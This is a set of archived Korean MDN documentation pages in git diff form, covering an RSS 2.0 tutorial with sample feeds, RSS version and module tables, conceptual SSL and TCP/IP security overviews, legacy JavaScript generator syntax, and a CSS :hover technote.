가장 많이 이용하는 RSS 2.0 버전은 데이터 연결을 위해 사용하는 XML기반 마크업 언어 입니다. -based markup languages used for syndication. (RDF를 기반하는 RSS 형식도 존재합니다. 이미 사라진 RSS 0.90RSS 1.0 처럼 말이죠.) RSS를 주로 사용하는 곳은 웹 사이트 최신 소식이나 블로그, 인터넷 라디오나 TV 등의 뉴스를 전달하는 역할을 합니다.

+

이 문서는 RSS 2.0을 다룹니다. 물론 다른 RSS 버전에 대한 주의 사항도 함께 다루게 됩니다..

+

RSS는 손으로 만들지는 않습니다. 거의 서버쪽 프로그램에 의해 자동으로 만들어 집니다(PHP나 Java, C# 및 Python 같은 언어로 만들어진 것이죠.) 그러나 RSS를 배우려면 손으로 한번 RSS 스크립트를 만들 필요가 있습니다.

+

RSS에 대한 간단한 역사

+

In March of 1999 Netscape released RSS 0.90. It was much much different than today's RSS. It wasn't really a format for syndication, but was a format for providing a summary of a website. In fact, back then, RSS did not stand for Really Simple Syndication but stood for Rich Site Summary.

+

In July of 1999 Netscape's RSS 0.91 was released. Like RSS 0.90, Netscape's RSS 0.91 was also a format for providing a summary of a website, and not really a syndication format (as it is today). Netscape's RSS 0.91 was created to simplify things. RSS 0.90 was RDF-based. (Which many found to be overly complex.) Netscape's RSS 0.91 was only XML-based and added a DTD to allow several entities (commonly found in HTML).

+

So at this point Netscape deprecated the RDF-based RSS 0.90 and told everyone to use Netscape's RSS 0.91, which was XML-based.

+

In June of 2000 Userland's RSS 0.91 was released. (And yes, that means that there are 2 different version of RSS 0.91.) The difference between the 2 different versions of RSS 0.91 -- Netscape's RSS 0.91 and Userland's RSS 0.91 -- is that Userland's RSS 0.91 does not have the DTD that Netscape's RSS 0.91 has; and thus doesn't have the extra entities that Netscape's RSS 0.91 has (commonly found in HTML). Other than that though, they are the same. Technically speaking, Userland's RSS 0.91 is a subset of Netscape's RSS 0.91.

+

In December of 2000 the RSS-DEV working group released RSS 1.0. This version of RSS was no longer purely XML-based, but was RDF-based (like the original and now deprecated RSS 0.90). The RSS-DEV working group changed what RSS stood for, and made it stand for RDF Site Summary. (At least, this is what it stood for in their version of RSS.)

+

So at this point we had Netscape's RSS 0.91, Userland's RSS 0.91, and the RSS-DEV working group's RSS 1.0.

+

Later that same December Userland released RSS 0.92. RSS 0.92 was meant to replace Userland's RSS 0.91. (If you notice though, the RSS versioning number got all messed up at this point. RSS 0.92 is newer than RSS 1.0.)

+

So at this point we had Netscape's RSS 0.91, the RSS-DEV working group's RSS 1.0, and Userland's RSS 0.92.

+

In April 2001 Userland released a draft for RSS 0.93. This version of RSS was never made "final" and was only ever a draft, and never became a replacement for Userland's RSS 0.92.

+

In August 2002 Userland released a draft for RSS 0.94. Like RSS 0.93, this version of RSS was never made "final" and was only ever a draft, and never became a replacement for Userland's RSS 0.92.

+

So at this point we still had Netscape's RSS 0.91, the RSS-DEV working group's RSS 1.0, and Userland's RSS 0.92. (Although some were using RSS 0.93 and RSS 0.94 even though they weren't suppose to.)

+

In September 2002 Userland released RSS 2.0. RSS 2.0 was meant to be a replacement for RSS 0.92 (and the RSS 0.93 and RSS 0.94 drafts that no one was suppose to use). Userland bumped up the version number all the way up to 2.0 because the RSS-DEV working group already used 1.0 with their RDF-based RSS 1.0.

+

So at this point we had Netscape's RSS 0.91, the RSS-DEV working group's RSS 1.0, and Userland's RSS 2.0.

+

Now, the story does not quite end there. Once in November 2002 and another time in January 2003, RSS 2.0 was changed from its original specification, by Userland. And although these are each are different, they all label themselves as RSS 2.0 on the <rss> element.

+

So now, at this point, we still have Netscape's RSS 0.91 (since Netscape never deprecated it) although most people don't use it anymore. Most people use either the RDF-based RSS 1.0 or the XML-based RSS 2.0. With the XML-based RSS 2.0 seeming to be the most popular. (This tutorial uses RSS 2.0.)

+

How RSS is Used Today

+

Today, RSS is mostly used for syndication. Syndication is the process of telling others that you have content for them to consume. In other words, when you syndicate, you are telling everyone something like: "Hey everyone, I've got articles that I want everyone to come and read. Just subscribe to my RSS feed and you will be able to get the latest ones all the time.".

+
+

NOTE: If you provide a non-password-protected RSS feed, you are implicitly giving everyone permission to use the contents in you RSS feed in almost any way they see fit. They can read it. The can make local copies of it. They can share that local copy. They can put it on their web site. They can even re-syndicated it. And more.

+

If you don't want any of that done, then don't put it in a non-password-protected RSS feed. (And don't make the password public of course.)

+
+

News web sites use RSS to provide everyone with a list of their newest articles. For example:

+
   
+    <?xml version="1.0"?>
+
+    <rss version="2.0">
+
+        <channel>
+            <title>Example News Site</title>
+            <description>This is an Example News Site.</description>
+            <lastBuildDate>Wed, 27 Jul 2005 00:30:30 -0700</lastBuildDate>
+            <link>http://news.example.com/</link>
+
+            <item>
+                <title>News Flash: I Like Bread</title>
+                <guid isPermaLink="false">4d4a0a12-f188-4c97-908b-eea27213c2fe</guid>
+                <pubDate>Wed, 27 Jul 2005 00:30:30 -0700</pubDate>
+                <link>http://news.example.com/artcle/554</link>
+            </item>
+            <item>
+                <title>Big News Today: Birds Fly</title>
+                <guid isPermaLink="false">c4a63f09-b45b-466b-8773-6ff264001ab7</guid>
+                <pubDate>Tue, 19 Jul 2005 04:32:51 -0700</pubDate>
+                <link>http://news.example.com/artcle/553</link>
+            </item>
+            <item>
+                <title>Fire is Hot</title>
+                <guid isPermaLink="false">c1795324-d5ea-44fa-95b1-b5ce2090d4f1</guid>
+                <pubDate>Sun, 15 May 2005 13:02:08 -0700</pubDate>
+                <link>http://news.example.com/artcle/552</link>
+            </item>
+        </channel>
+
+    </rss>
+    
+
+

Bloggers use RSS to provide everyone with a list of their newest blog posts. For example:

+
   
+    <?xml version="1.0"?>
+
+    <rss version="2.0">
+
+        <channel>
+            <title>Joe Blow's Blog</title>
+            <description>This is the Weblog of Joe Blow</description>
+            <lastBuildDate>Sun, 15 May 2005 13:02:08 -0500</lastBuildDate>
+            <link>http://joe-blow.example.net/</link>
+
+            <item>
+                <title>I Be Blogging...</title>
+                <guid>http://joe-blow.example.net/log/21</guid>
+                <pubDate>Sun, 15 May 2005 13:02:08 -0500</pubDate>
+                <link>http://joe-blow.example.net/log/21</link>
+            </item>
+            <item>
+                <title>I am so SMRT</title>
+                <guid>http://joe-blow.example.net/log/20</guid>
+                <pubDate>Sat, 14 May 2005 22:19:18 -0500</pubDate>
+                <link>http://joe-blow.example.net/log/20</link>
+            </item>
+            <item>
+                <title>Huh?</title>
+                <guid>http://joe-blow.example.net/log/19</guid>
+                <pubDate>Sat, 14 May 2005 09:55:59 -0500</pubDate>
+                <link>http://joe-blow.example.net/log/19</link>
+            </item>
+            <item>
+                <title>Black Cat Spotted</title>
+                <guid>http://joe-blow.example.net/log/18</guid>
+                <pubDate>Fri, 13 May 2005 13:13:13 -0500</pubDate>
+                <link>http://joe-blow.example.net/log/18</link>
+            </item>
+        </channel>
+
+    </rss>
+    
+
+

Those who create Internet Radio use RSS to allow users to broadcatch their shows. For example:

+
   
+    <?xml version="1.0"?>
+
+    <rss version="2.0">
+
+        <channel>
+            <title>Joe's IPradio Show</title>
+            <description>The best IPradio Show on the Internet, staring Joe!</description>
+            <lastBuildDate>Mon, 15 Aug 2005 16:12:37 -0400</lastBuildDate>
+            <link>http://joe.ipradio.example.net/</link>
+
+            <item>
+                <title>I C UR Tan Line</title>
+                <guid>http://joe.ipradio.example.net/show/55</guid>
+                <pubDate>Mon, 15 Aug 2005 16:11:57 -0400</pubDate>
+                <enclosure url="http://joe.ipradio.example.net/show/55"
+                           length="4487216"
+                           type="application/ogg"
+                />
+            </item>
+            <item>
+                <title>Car Care for Car Fanatics</title>
+                <guid>http://joe.ipradio.example.net/show/54</guid>
+                <pubDate>Mon, 8 Aug 2005 13:12:12 -0400</pubDate>
+                <enclosure url="http://joe.ipradio.example.net/show/54"
+                           length="4892178"
+                           type="audio/x-mp3"
+                />
+            </item>
+            <item>
+                <title>Best Beaches in BC</title>
+                <guid>http://joe.ipradio.example.net/show/53</guid>
+                <pubDate>Mon, 1 Aug 2005 18:22:14 -0400</pubDate>
+                <enclosure url="http://joe.ipradio.example.net/show/53"
+                           length="3984215"
+                           type="application/ogg"
+                />
+            </item>
+        </channel>
+
+    </rss>
+    
+
+
+

NOTE: Broadcatching of Internet Radio is sometimes call Podcasting, IPradio, and Audio Blogging.

+
+

Those who create Internet Television use RSS to allow users to broadcatch their shows. For example:

+
   
+    <?xml version="1.0"?>
+
+    <rss version="2.0">
+
+        <channel>
+            <title>Kate's IPTV Show</title>
+            <description>Watch it or else!  You know you want to.</description>
+            <lastBuildDate>Tue, 23 Aug 2005 21:02:05 -0800</lastBuildDate>
+            <link>http://katetv.example.com/</link>
+
+            <item>
+                <title>This is Fun</title>
+                <guid>http://katetv.example.com/show/4</guid>
+                <pubDate>Tue, 23 Aug 2005 21:02:05 -0800</pubDate>
+                <enclosure url="http://katetv.example.com/show/4"
+                           length="1911146"
+                           type="application/ogg"
+                />
+            </item>
+            <item>
+                <title>Watch This</title>
+                <guid>http://katetv.example.com/show/3</guid>
+                <pubDate>Tue, 16 Aug 2005 16:11:57 -0400</pubDate>
+                <enclosure url="http://katetv.example.com/show/3"
+                           length="1387442"
+                           type="application/ogg"
+                />
+            </item>
+            <item>
+                <title>It is me again</title>
+                <guid>http://katetv.example.com/show/2</guid>
+                <pubDate>Tue, 9 Aug 2005 13:12:12 -0400</pubDate>
+                <enclosure url="http://katetv.example.com/show/2"
+                           length="1894877"
+                           type="video/mpeg"
+                />
+            </item>
+            <item>
+                <title>Hello</title>
+                <guid>http://katetv.example.com/show/1</guid>
+                <pubDate>Tue, 2 Aug 2005 18:22:14 -0400</pubDate>
+                <enclosure url="http://katetv.example.com/show/1"
+                           length="17442215"
+                           type="application/ogg"
+                />
+            </item>
+        </channel>
+
+    </rss>
+    
+
+

The observant reader may have noticed that the + + news web site + and + + blogger + examples were the same type of RSS. And also that the + + Internet Radio + and + + Internet Television + examples were the same type of RSS. In fact, the only real difference between the news/blogger RSS and the Internet Radio/Internet Television RSS is that the news/blogger RSS uses the <link> element and the Internet Radio/Internet Television RSS uses the <enclosure> element.

+
+

NOTE: These RSS examples are very very simple. And were designed to give you an idea about what RSS basically looks like. All these RSS examples are very minimal. When you create your own RSS feeds, you will likely want to make them more complex than these and include additional RSS elements and make use of the various RSS Modules.

+
+

+

다음 »

+

+

diff --git a/files/ko/archive/rss/index.html b/files/ko/archive/rss/index.html new file mode 100644 index 0000000000..e5a2a6cd60 --- /dev/null +++ b/files/ko/archive/rss/index.html @@ -0,0 +1,48 @@ +--- +title: RSS +slug: Archive/RSS +tags: + - RSS +translation_of: Archive/RSS +--- +
시작하기
+RSS를 시작하는데 도움이 되는 안내 입문서
+
Really Simple Syndication (RSS)HTML과 비슷한 XML에 기반을 둔 발행(syndication)에 쓰는 대중적인 데이터 포맷입니다. RSS는 어두운 역사와 호환성이 없는 수많은 RSS 버전이 있습니다. (몇몇은 RDF를 기반으로 하고 있지만 대부분은 XML만 기반으로 하고 있습니다.) 이러함에도 불구하고, RSS는 엄청난 활동성(momentum)으로 뉴스, 블로그 포스트, IP라디오, IPTV 발행하는데(syndicate) 사용되는 매우 대중적인 포맷입니다.
+ + +
+

문서

+
Why RSS Slash is Popular - Counting Your Comments +
Charles Iliya Krempeaux가 여러 모듈 가운데 왜 인기가 있고 댓글(comment) "count"를 주는데 어떻게 쓰는지 RSS Slash 모듈에 관해 이야기합니다. +
+
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments +
Charles Iliya Krempeaux가 여러 모듈 가운데 왜 인기가 있고 댓글에 링크하는데 어떻게 쓰는지 적격(Well-Formed) 웹 RSS 모듈에 관해 이야기합니다. +
+
The Myth of RSS Compatibility +
Mark Pilgrim이 여러분에게 RSS의 지저분한 역사와 관해 말해주고 각 버전 사이의 비호환성을 자세히 설명합니다. +
+
Atomic RSS +
Tim Bray가 micro 포맷과 RSS 2.0용 확장 모듈(발행 포맷으로 RSS 2.0 따르지만 선택한 Atom 1.0 요소를 가져오고 쓰는)로서 Atom 1.0 사용에 관해 이야기합니다. +
+

모두 보기... +

+
+

커뮤니티

+
  • 모질라 XML 포럼 보기... +
+

+

+

관련 주제

+
RDF, XML +
+
+

Categories +

Interwiki Language Links +


+

diff --git a/files/ko/archive/rss/module/index.html b/files/ko/archive/rss/module/index.html new file mode 100644 index 0000000000..bdffb41ec6 --- /dev/null +++ b/files/ko/archive/rss/module/index.html @@ -0,0 +1,70 @@ +--- +title: Module +slug: Archive/RSS/Module +tags: + - RSS +translation_of: Archive/RSS/Module +--- +

RSS 모듈 목록

+

RSS 모듈은 XML 이름공간을 써서 RSS 문서에 집어넣는 microformat입니다. 모듈은 RSS를 확장하는 방법입니다. 아래는 인기 있는 RSS 모듈 목록입니다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
이름공통 접두사상태출시 일제작자
Atomic RSSatom 2005년 07월 27일Tim Bray
blogChannel  2002년 09월 17일Dave Winer
Contentcontent   
creativeCommonscc 2002년 12월 16일Dave Winer
Dublin Coredc   
Slashslash   
Well-Formed Webwfw  Joe Gregorio and Chris Sells
+

diff --git a/files/ko/archive/rss/version/index.html b/files/ko/archive/rss/version/index.html new file mode 100644 index 0000000000..5b6a3c7c87 --- /dev/null +++ b/files/ko/archive/rss/version/index.html @@ -0,0 +1,109 @@ +--- +title: Version +slug: Archive/RSS/Version +tags: + - RSS +translation_of: Archive/RSS/Version +--- +

RSS Versions

+

RSS 는 복잡한 역사가 있습니다. 서로 다른 사람들이 스스로 RSS라고 부르는 명세를 일방적으로 만들어왔기 때문입니다. 어떤 RSS는 XML형식으로 되어 있습니다. 또 어떤 RSS는 RDF형식으로 되어 있습니다.

+

아래의 목록은, 발표된 시간 순으로 나열된 이제까지 알려진 RSS 버전들입니다.

+
+

NOTE: 아래 목록에서, RSS 1.0의 위치가 잘못된 것처럼 보이지만, 사실 시간순으로 맞는 위치에 있습니다.

+
+
+

NOTE: RSS 0.91에는 세 가지 다른 버전이 있습니다. Netscape의 RSS 0.91 (Revision 1), Netscape의 RSS 0.91 Revision 3 과 Userland의 RSS 0.91이 그것입니다. 엄밀히 말해서, Userland의 RSS 0.91 은 Netscape의 RSS 0.91의 부분집합입니다.

+
+
+

NOTE: RSS 0.93 과 RSS 0.94 은 "drafts"만 나오고, "final"상태가 되지 못해서 실제로 사용된 적이 없습니다.

+
+

 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameStatusRelease DateBased OnAuthor
RSS 0.90 March 1999RDFNetscape
Netscape's RSS 0.91 (Revision 1) ?XMLNetscape
Netscape's RSS 0.91 Revision 3 July 10, 1999XMLNetscape
Userland's RSS 0.91 June 4, 2000XMLUserland
RSS 1.0StandardDecember 9, 2000RDFRSS-DEV Working Group
RSS 0.92 December 25, 2000XMLUserland
RSS 0.93 April 20, 2001XMLUserland
RSS 0.94 August 19, 2002XMLUserland
RSS 2.0 September 2002XMLUserland
RSS 2.0 (post 2002-11-11) November 11, 2002XMLUserland
RSS 2.0 (post 2003-01-21)StandardJanuary 21, 2003XMLUserland
+

diff --git a/files/ko/archive/security/index.html b/files/ko/archive/security/index.html new file mode 100644 index 0000000000..74823c8f52 --- /dev/null +++ b/files/ko/archive/security/index.html @@ -0,0 +1,14 @@ +--- +title: Security +slug: Archive/Security +tags: + - NeedsTranslation + - TopicStub +translation_of: Archive/Security +--- +

Relying on these obsolete security articles is highly discouraged. Doing so may put your systems at risk.

+ +
+
Digital Signatures
Encryption and decryption address the problem of eavesdropping, one of the three Internet security issues mentioned at the beginning of this document. But encryption and decryption, by themselves, do not address another problem: tampering.
Encryption and Decryption
Encryption is the process of transforming information so it is unintelligible to anyone but the intended recipient. Decryption is the process of transforming encrypted information so that it is intelligible again.
Introduction to Public-Key Cryptography
Public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and Secure Sockets Layer (SSL) communications. This document introduces the basic concepts of public-key cryptography. For an overview of SSL, see "Introduction to SSL." For an overview of encryption and decryption, see "Encryption and Decryption." Information on digital signatures is available from "Digital Signatures."
+
Introduction to SSL
This document introduces the Secure Sockets Layer (SSL) protocol. SSL has been universally accepted on the World Wide Web for authenticated and encrypted communication between clients and servers.
NSPR Release Engineering Guide
This paper is for engineers performing formal release for the NetScape Portable Runtime (NSPR) across all platforms.
SSL and TLS
The Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers. Both client and server authentication occur over SSL/TLS.
+
diff --git a/files/ko/archive/security/tcp_ip/index.html b/files/ko/archive/security/tcp_ip/index.html new file mode 100644 index 0000000000..983b83b308 --- /dev/null +++ b/files/ko/archive/security/tcp_ip/index.html @@ -0,0 +1,50 @@ +--- +title: TCP/IP 보안 +slug: Archive/Security/TCP_IP +translation_of: Archive/Security/TCP_IP +--- +

{{draft}}

+ +

TCP/IP 는 네트워크 통신을 위해 전세계적으로 사용되고 있다.  TCP/IP 통신에서는 네 개의 계층이 관여한다. 유저가 네트워크를 통해 데이터를 보내고 싶은 경우, 데이터는 높은 계층에서 중간 계층을 거쳐 하위 계층으로 전달되며, 전달되는 과정에서 추가적인 정보들이 추가된다.  각 계층에서 logical unit은 header와 payload로 구성되어 있다. Payload는 이전의 계층에서 받은 정보들을 담고 있으며, header는 주소와 같이 계층의 상세정보를 담고있다. 응용계층에서 payload는 실제 application 데이터다. 가장 낮은 계층은 축적된 모든 정보를 물리적인 네트워크를 통해 데이터를 전달한다. 전달된 데이터는 다시 하위 계층에서 상위 계층으로 전달되어 목적지에 도달한다. 한 계층에서 캡슐화된 데이터는 하위 계층에 있는 더 큰 컨테이너에 캡슐화된다. 아래는 네 개의 TCP/IP 계층을 높은 계층 순으로 나열한 것이다.

+ + + +
+
TCP/IP 모델에서 각 계층마다 네트워크 통신을 위한 보안 제어(security control)가 존재한다. 이전에 언급되었듯이, 데이터를 상위계층에서 하위계층으로 전달되며, 각 계층을 통과할 때마다 정보가 추가된다. 이러한 이유로, 상위 계층에서의 보안 제어(security control)는 하위 계층의 보안을 제공할 수 없다. 또한, 하위 계층에서는 상위 계층이 모르게 작동하는 부분들을 상위 계층이 커버해줄 수 없다. 각 계층에서 담당하는 보안 제어 방법들:
+
+ + + +

Because they can provide protection for many applications at once without modifying them, network layer security controls have been used frequently for securing communications, particularly over shared networks such as the Internet.  Network layer security controls provide a single solution for protecting data from all applications, as well as protecting IP information.  Nevertheless, in many cases, controls at another layer are better suited to providing protection than network layer controls.  For example, if only one or two applications need protection, a network layer control may be excessive.  Transport layer protocols such as SSL are most commonly used to provide security for communications with individual HTTP-based applications, although they are also used to provide protection for communication sessions of other types of applications such as SMTP, Point of Presence (POP), Internet Message Access Protocol (IMAP), and File Transfer Protocol (FTP).  Because all major Web browsers include support for TLS, users who wish to use Web-based applications that are protected by TLS normally do not need to install any client software or reconfigure their systems.  Newer applications of transport layer security protocols protect both HTTP and non-HTTP application communications, including client/server applications and other network traffic.  Controls at each layer offer advantages and features that controls at other layers do not.

+ +

SSL is the most commonly used transport layer security control.  Depending on how SSL is implemented and configured, it can provide any combination of the following types of protection:

+ + + +
+

Original Document Information

+ + +
+ +

{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}

diff --git a/files/ko/archive/web/index.html b/files/ko/archive/web/index.html new file mode 100644 index 0000000000..fe223d9b2a --- /dev/null +++ b/files/ko/archive/web/index.html @@ -0,0 +1,12 @@ +--- +title: Archived open Web documentation +slug: Archive/Web +tags: + - Archived + - NeedsTranslation + - TopicStub + - Web +translation_of: Archive/Web +--- +

The documentation listed below is archived, obsolete material about open Web topics.

+

E4X
ECMAScript for XML (E4X)는 JavaScript에 native XML 지원을 더하는 프로그래밍 언어 확장기능입니다. E4X는 ECMAScript 프로그래머에게 자연스러운 형식으로 XML 문서 접근 방법을 제공하여 이를 수행합니다. 목표는 DOM 인터페이스를 통하기보다는 XML 문서에 접근하기 더 간단한 대체 구문 제공입니다.
XForms
Categories

diff --git a/files/ko/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html b/files/ko/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html new file mode 100644 index 0000000000..da862c184a --- /dev/null +++ b/files/ko/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html @@ -0,0 +1,98 @@ +--- +title: ECMAScript Next support in Mozilla +slug: Archive/Web/JavaScript/ECMAScript_7_support_in_Mozilla +translation_of: Archive/Web/JavaScript/ECMAScript_Next_support_in_Mozilla +--- +
{{jsSidebar("New_in_JS")}}
+ +

ECMAScript 2016 는 (흔히 JavaScript로 알려져 있는) ECMA-262 표준의 차세대 버전 입니다. ECMAScript 2015이 2015년 6월 17일에 확정되었음에도 불구하고 새로운 특징들이 이미 제안되고 있습니다. 기능 제안에 대한 최신 후보들은 tc39/ecma262 GitHub 저장소에서 보실 수 있습니다.

+ +

현재 규격 개발에 관한 사항들은 각 기능들에 대한 stages와 champions를 안내하면서 해결할 예정입니다. 또한, 2년마다 표준을 배포하는 것이 제안되어 있습니다. post-ES2015 규격 처리방안에 대해 더 알고싶으시다면, Rafael Weinstein의 발표자료를 참고하세요.

+ +

ECMAScript 표준에 대한 피드백을 위한 채널은 es-discuss 입니다.

+ +

ECMAScript 2016

+ +

 

+ +

다음 ES2016기능들이 구현되었습니다.

+ + + +

ECMAScript 2017

+ +

다음 ES2017기능들이 구현되었습니다.

+ +

 

+ + + +

 

+ +

 

+ +

실험 단계(특성)

+ +

다음 기능은 이미 구현되어 있지만,  Firefox Nightly channel에서만 이용 가능합니다.:

+ +

Additions to the ArrayBuffer object

+ + + +

New TypedObject objects

+ + + + + +

New SIMD objects

+ + + +

 

+ +

New Shared Memory objects

+ + + +

 

+ +

참조

+ + diff --git a/files/ko/archive/web/javascript/index.html b/files/ko/archive/web/javascript/index.html new file mode 100644 index 0000000000..4687b7bf23 --- /dev/null +++ b/files/ko/archive/web/javascript/index.html @@ -0,0 +1,12 @@ +--- +title: JavaScript +slug: Archive/Web/JavaScript +translation_of: Archive/Web/JavaScript +--- + + +

{{Obsolete_Header}}

+ +

Obsolete JavaScript features and unmaintained docs

+ +

{{SubpagesWithSummaries}}

diff --git a/files/ko/archive/web/javascript/legacy_generator_function/index.html b/files/ko/archive/web/javascript/legacy_generator_function/index.html new file mode 100644 index 0000000000..2d532f7cd9 --- /dev/null +++ b/files/ko/archive/web/javascript/legacy_generator_function/index.html @@ -0,0 +1,58 @@ +--- +title: 구형 생성기 함수 표현식 +slug: Archive/Web/JavaScript/Legacy_generator_function +tags: + - JavaScript + - Non-standard + - Obsolete + - Operator + - Reference +translation_of: Archive/Web/JavaScript/Legacy_generator_function +--- +
{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko58")}} +
The legacy generator function expression was a SpiderMonkey-specific feature, which is removed in Firefox 58+. For future-facing usages, consider using the {{JSxRef("Operators/function*", "function* expression")}}.
+
+ +

The function keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contain at least one {{JSxRef("Operators/yield", "yield")}} expression.

+ +

Syntax

+ +
function [name]([param1[, param2[, ..., paramN]]]) {
+   statements
+}
+ +

Parameters

+ +
+
name
+
The function name. Can be omitted, in which case the function is anonymous. The name is only local to the function body.
+
paramN
+
The name of an argument to be passed to the function. A function can have up to 255 arguments.
+
statements
+
The statements which comprise the body of the function. This should contain at least one {{JSxRef("Operators/yield", "yield")}} expression.
+
+ +

Description

+ +

An overview of the usage is available on the Iterators and Generators page.

+ +

Browser compatibility

+ +

Supported nowhere.

+ +

See also

+ + diff --git a/files/ko/archive/web/javascript/legacy_generator_function_statement/index.html b/files/ko/archive/web/javascript/legacy_generator_function_statement/index.html new file mode 100644 index 0000000000..d4eeadb0f0 --- /dev/null +++ b/files/ko/archive/web/javascript/legacy_generator_function_statement/index.html @@ -0,0 +1,59 @@ +--- +title: Legacy generator function +slug: Archive/Web/JavaScript/Legacy_generator_function_statement +translation_of: Archive/Web/JavaScript/Legacy_generator_function_statement +--- +
The legacy generator function was a SpiderMonkey-specific feature, which is removed in Firefox 58+. For future-facing usages, consider using {{jsxref("Statements/function*", "function*")}}.
+ +
{{jsSidebar("Statements")}}
+ +

레거시 생성 함수(legacy generator function statement)는 레거시 생성 함수를 지정된 매개 변수로 선언한다.

+ +

functionBody 와 함께 {{jsxref("Operators/yield", "yield")}}나 {{jsxref("Operators/Legacy_generator_function", "레거시 생성 함수 식", "", 1)}} 중 적어도 하나의  표현식을 사용하여 {{jsxref("Function")}} 생성자를 사용하여 함수를 정의할 수도 있다. 

+ +

Syntax

+ +
function name([param,[, param,[..., param]]]) {
+   [statements]
+}
+
+ +
+
name
+
함수의 이름.
+
+ +
+
param
+
함수에 전달할 인수의 이름. 함수는 최대 255개의 인수를 가질 수 있다.
+
+ +
+
statements
+
함수의 본문을 구성하는 문장. 적어도 하나의 {{jsxref("Operators/yield", "yield")}} 표현식을 포함해야 한다.
+
+ +

Description

+ +

사용법에 대한 개요는  반복기 및 생성기(Iterators and Generators) 페이지에서 볼 수 있다.

+ +

Browser compatibility(브라우저 호환성)

+ +

Supported nowhere.

+ +

See also

+ + diff --git a/files/ko/archive/web_standards/index.html b/files/ko/archive/web_standards/index.html new file mode 100644 index 0000000000..1ef58a9097 --- /dev/null +++ b/files/ko/archive/web_standards/index.html @@ -0,0 +1,64 @@ +--- +title: Web Standards +slug: Archive/Web_Standards +tags: + - Web Standards +translation_of: Archive/Web_Standards +--- +
웹 표준은 웹 상에 출판된 어떤 문서의 수명(viability)을 장시간 보장하는 동시에 웹 사용자 최대 다수에게 최대 이익을 전달하도록 주의해서 설계되었습니다. 이 표준으로 설계하고 제작함은 더 많은 사람과 더 많은 종류의 인터넷 장치에 접근 가능한 사이트를 만드는 동시에 생산을 쉽게 하고 생산 비용을 줄이게 됩니다. 이 지침에 따라 개발한 사이트는 기존 데스크탑 브라우저가 진화하고 새 인터넷 장치가 시장에 나오더라도 계속 정확히 작동할 것입니다. [1]
+ + +
+

문서

+
Migrate apps from Internet Explorer to Mozilla
+
IE에 종속된 웹 응용프로그램을 Mozilla로 작업하기 위해 어려움을 겪은 적이 있으세요? 이 글에서는 웹 응용프로그램을 오픈 소스 Mozilla에 기반을 둔 브라우저로의 이관(Migration)과 관련 있는 공통 쟁점을 다룹니다. +
+
Using Web Standards in your Web Pages +
이 페이지에서는 W3C 웹 표준을 따르는 웹 페이지의 컨텐츠를 업그레이드하는 과정의 개요를 제공합니다. +
+
Choosing Standards Compliance Over Proprietary Practices +
개발하다 보면, 어플리케이션을 다양한 개발 그룹에 걸쳐 설계하기 때문에 표준이 필요합니다. +
+
The Business Benefits of Web Standards +
이 기사는 웹 표준에 충실하고 회사의 사업 목표에 기여할 수 있는 독점(proprietary) 마크업과 기술을 뒤에 남기는 법에 관해 의견을 나눕니다. +
+

모두 보기... +

+
+

커뮤니티

+
국내
+ +
국외
+
  • Mozilla 포럼 보기... +
+

+

+ +

개발 도구

+ +

모두 보기... +

+

관련 주제

+
CSS, DHTML, HTML, Web Development, XHTML, XML +
+
+
+

주의: 1
- The Web Standards Project +

Categories +

Interwiki Language Links +


+

diff --git a/files/ko/archive/web_standards/issues_arising_from_arbitrary-element_hover/index.html b/files/ko/archive/web_standards/issues_arising_from_arbitrary-element_hover/index.html new file mode 100644 index 0000000000..3d08aa525e --- /dev/null +++ b/files/ko/archive/web_standards/issues_arising_from_arbitrary-element_hover/index.html @@ -0,0 +1,66 @@ +--- +title: Issues Arising From Arbitrary-Element hover +slug: Archive/Web_Standards/Issues_Arising_From_Arbitrary-Element_hover +tags: + - CSS +translation_of: Archive/Web_Standards/Issues_Arising_From_Arbitrary-Element_hover +--- +

Summary: Thanks to long-standing limitations, we're used to thinking of hover styles as applying only to hyperlinks, which has led to some sloppy authoring practices that are now causing problems for some Web sites. This technote explains the source of the problems and how to avoid encountering them.

+

많은 저자들이 링크의 스타일을 위해서 CSS 슈도(pseudo)-클래스 :hover를 사용하고 있습니다. 처음 마이크로소프트 인터넷 익스플로러로 소개되고, 이후 CSS규약으로 받아들여진 이 혁신적인 클래스는 텍스트 링크를 스타일화 하는데, 특히, 자바스크립트로 구현되는 "롤오버(rollovers)"같은 모습과 작동을 하도록 하는 곳에 인기있게 사용되고 있습니다. 그러나 브라우저들에서 CSS지원의 이러한 향상은 몇몇 페이지에서 예기치않게 심한 호버링 현상(또는, 호버링시 반응, hovering behavior)을 야기해 왔습니다.

+

Hover 그리고 비-링크 엘리먼트들

+

Section 5.11.3 of CSS2는 세개의 동적 슈도-클래스들(:hover, :active, 그리고 :focus)을 정의하고 다음과 같이 언급하고 있습니다:

+
+ CSS 는 어떤 엘리먼트들에게 위의 상태들(states)이 허용될 수 있을 지 또 어떻게 각 상태에 진입하고 빠져나갈 수 있는지 정의하지 않는다. 스크립팅으로 엘리먼트들이 사용자 이벤트들에 반응할지, 안 할지를 변경할 수 있으며, 각각의 장치와 UA들은 각기 다른 방식으로 엘리먼트들을 가리키거나 또는 작동시킬 수 있다.
+

따라서, 저자들이 보통 이들 상태들이 배타적으로 하이퍼링크에만 적용되는 것으로 생각하지만, CSS2는 그렇게 한정지어 놓고 있지 않습니다. 어떤 엘리먼트도, 이론상, 위의 3 상태중의 하나가 될 수 있으며, 따라서 이 상태들에 근거해거 스타일 지워질 수 있습니다. 과거에는 이렇지 않았습니다.

+

순(bare) 슈도(Pseudo)-클래스

+

두번째 문제는 선별자내의 "순" 슈도-클래스의 효과를 고려할 때 생기게 됩니다. 예를 들면:

+
:hover {color: red;}
+

이것은 다음의 CSS2 규칙과 동등합니다:

+
*:hover {color: red;}
